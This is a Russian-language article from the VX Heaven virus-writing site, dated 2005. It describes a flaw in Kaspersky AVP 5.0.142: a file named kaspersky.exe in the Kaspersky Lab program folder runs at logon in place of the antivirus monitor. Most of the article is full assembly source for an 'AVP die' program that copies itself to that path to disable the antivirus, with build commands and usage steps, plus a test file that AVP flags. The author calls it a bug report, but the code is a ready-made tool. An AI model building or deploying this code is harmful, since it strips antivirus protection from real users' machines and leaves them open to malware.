Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Особенности реализации AVP

Sl0n
2005

[Вернуться к списку] [Комментарии]
"Акела промахнулся, Акела промахнулся!"

Р.Киплинг "Маугли"


Мной буквально на днях, была обнаружена интересная особенность реализации всеми любимого антивирусного продукта. Она заключается в том, что если при установленном анивирусном мониторе(я всё это тестировал на AVP v. 5.0.142) создать файл в директории Program Files\Kaspersky Lab с именем kaspersky.exe, то после перезагрузки или выхода и входа в систему будет запущен наш файл. А антивирусный монитор запущен не будет.

Не правда ли интересная особенность? Теперь немного о том как, это может быть использовано. Вот есть к примеру у нас вирус, нет не то, в тюрьму не хочется ... Вот есть к примеру у нас следующий false alarm или по русски - ложная тревога. По сути это обыкновенный ничем не примечательный файл, вот только на него ругается антивирус.

К примеру вот такой:

;---8<----------[false.asm]----------------------------------------------------;
; На этот *.com файл ругается АВП                                              ;
; Это false alarm, т.к. кроме вывода строки он ничего не делает                ;
;------------------------------------------------------------------------------;
seg000          segment byte public 'CODE'
                assume cs:seg000
                org 100h
                assume es:nothing, ss:nothing, ds:seg000

                public start
start:
                push    ax
                dec     bx
                pop     ax
;------------------------------------------------------------------------------;
                db    0 ;
                db    0 ;
                db    0 ;
                db  5Eh ; ^

                db 500 dup(0)

                db  80h ; А
                db    0 ;
                db    0 ;
                db  80h ; А
                db  80h ; А
                db    0 ;
                db    0 ;
                db    0 ;
                db  80h ; А
                db    0 ;
                db  80h ; А
                db    0 ;
                db    0 ;
                db  80h ; А
                db  80h ; А
                db  80h ; А
                db  80h ; А
                db    0 ;
                db  80h ; А
                db  80h ; А
                db    0 ;
                db 0A8h ; и
                db    0 ;
; ---------------------------------------------------------------------------
                mov     ah, 9
                mov     dx, offset vx_work ; "virii is work..."
                int     21h                ; Выводим строку
                retn
; ---------------------------------------------------------------------------
vx_work         db 'virii is work, thx to AVP die v 0.01 by slon!$',0

seg000          ends
                end start
;---8<----------[false.asm]----------------------------------------------------;
 

Это обыкновенный *.com файл, но если попытаться запустить его то антивирусный монитор заругается и не даст его запустить. С одной стороны монитор прав по контрольным суммам смахивает на вирус, но ведь не вирус ...

А если обыкновенная программа по контрольным суммам смахивает на вирус, тогда нужно письмо писать в антивирусную контору и очень может быть, что не в одну.

А вот если запустить следующую программу, ниже представлен её листинг:

;---8<----------[avp_die.asm]--------------------------------------------------;
;                                                                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; AVP die v 0.01 demo [ "Смерть кашпировскому Ж)" ] (x) slon 2004              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; Что делает эта программа:                                                    ;
;                                                                              ;
; 1) Она автоматически загружается (вместо AVP, проверено на AVP 5.0.142)      ;
; 2) Не даёт загрузиться AVP :)                                                ;
;                                                                              ;
; Использование:                                                               ;
;                                                                              ;
; 1) Запустить программу                                                       ;
; 2) logoff/reboot/poweroff по выбору Ж)                                       ;
;                                                                              ;
;----8<--------------------------[make.bat]------------------------------------;
; @echo off                                                                    ;
; cls                                                                          ;
; tasm32 /mx /m4 /z avpdie.asm                                                 ;
; tlink32 -x -V4.0 -Tpe -aa -c avpdie.obj,,,imp32i.lib                         ;
; del *.obj                                                                    ;
;----8<--------------------------[make.bat]------------------------------------;
; Собирать файл при помощи make.bat и конечно же TASM 5.0                      ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
.586
.model flat, stdcall
locals @@
;------------------------------------------------------------------------------;
callx macro x                                   ;
extrn x:proc                                    ; Макрос для упрощения
call x                                          ; использования WIN API
endm                                            ;
.data
;------------------------------------------------------------------------------;
start:
                push    0                       ; Получаем
                callx   GetModuleHandleA        ; базу модуля

                push    500                     ;
                push    offset cmd_             ;
                push    eax                     ; Узнаём имя файла из
                callx   GetModuleFileNameA      ; которого мы запущены

                push    500                     ;
                push    offset win_dir          ; Получаем имя директории
                callx   GetWindowsDirectoryA    ; Windows

                push    offset prog_            ;
                lea     eax,win_dir             ;
                push    eax                     ;
                add     eax,3                   ;
                mov     4 ptr [eax],0           ; Готовим путь для копирования
                callx   lstrcatA                ; в "Program Files"

                push    1                       ;
                push    offset win_dir          ;
                push    offset cmd_             ; Копируем себя  
                callx   CopyFileA               ; в "Program Files"

                push    0                       ;
                push    0                       ;
                push    offset msg__            ;
                push    0                       ;
                callx   MessageBoxA             ; Выводим красивое сообщение

                push    0                       ;
                callx   ExitProcess             ; И завершаем нашу работу

;------------------------------------------------------------------------------;
msg__           db      'Прощайте дядя кашпировский, AVP теперь убит!',0ah,0dh
                db      'AVP die v 0.01 (x) slon 2004',0

win_dir         db      500     dup(0)
sys_dir         db      500     dup(0)

cmd_            db      500     dup(0)
prog_           db      'Program Files\Kaspersky Lab\kaspersky.EXE',0
;------------------------------------------------------------------------------;
.code
                nop                             ; Для красоты
end start
;---8<----------[avp_die.asm]--------------------------------------------------;
 

То после её работы, наша ложная тревога без всяких проблем запуститься. Что говорит об ошибках в реализации данного антивирусного продукта. Я смею скромно надеяться, что данная ошибка будет в скором времени поправлена. Не очень бы хотелось, встретить её в скором времени в каком нибудь интернет червяке.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua